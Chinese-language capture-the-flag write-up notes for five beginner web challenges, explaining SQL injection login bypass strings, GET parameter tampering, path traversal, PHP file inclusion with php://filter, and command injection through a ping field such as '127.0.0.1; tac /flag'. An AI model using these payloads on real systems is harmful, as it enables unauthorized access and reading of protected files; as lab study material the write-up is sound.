1.EASYSQL破解密码
万能公式:
1' and 1=1
1' and '1'='1
1' or 1=1
1' or '1'='1
解释:payload
SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'
优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or
username='1'--->false '1'='1'---> true
passwrod='1'--->false '1'='1'--->true
false or (true and false) or true
false or false or true
false or true
#得出结果:true
注意:输入自带单引号,所以两边不要带,可以写为 hly' or '1'='1
2.have fun一起来撸猫
题目类型:网页传参;
方法:①查看网页源代码;②构造payload(从源代码中获取信息,然后在url后加上/?什么什么)。
涉及知识:$_GET
$_GET变量是一个数组,内容是由HTTP GET方式发送的变量名和值
$_GET用于收集来自 method=“get” 的表单中的值。从带有GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送的信息量也有限制(最多 100 个字符)
注:
属于GET请求的有:from标签中method="get"
在使用 $_GET 变量时,所有的变量名和值都会显示在 URL 中。所以在发送密码或其他敏感信息时,不应该使用这个方法。不过,正因为变量显示在 URL 中,因此可以在收藏夹中收藏该页面。在某些情况下,这是很有用的。
3.warmup
涉及知识:代码审计、PHP
在url中键入source.php,发现hint.php文件;因此键入hint.php发现flag not here, and flag in ffffllllaaaagggg;然后键入source.php?file=hint.php?ffffllllaaaagggg,打开文件之后发现没有什么关键信息,应该是键入的路径不对,但是我们不清楚它的具体位置,所以用5次../返回,即键入source.php?file=hint.php?../../../../../ffffllllaaaagggg,最后找到flag。
4.Include
题目类型:文件包含题
分析:对文件进行php伪协议检测。使用input伪协议会被检车过滤,我们使用filter读取源代码,即在url上键入?file=php://filter/read=convert.base64-encode/resource=index.php;打开文件后得到伪代码,使用Base64菜鸟工具进行伪代码解码得到源代码,即
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
input伪协议是被过滤掉了,我们再使用filter伪协议读取flag.php文件,键入?file=php://filter/read=convert.base64-encode/resource=flag.php,打开文件后得到伪代码,使用工具进行解码得到源代码,即
<?php
echo "Can you find out the flag?";
5.Exec(输入PING的地址)
方法:
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的,那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
例子:
127.0.0.1; tac /flag //注意:tac后面一定要有空格
www.baidu.com||tac /flag
aaa&tac /flag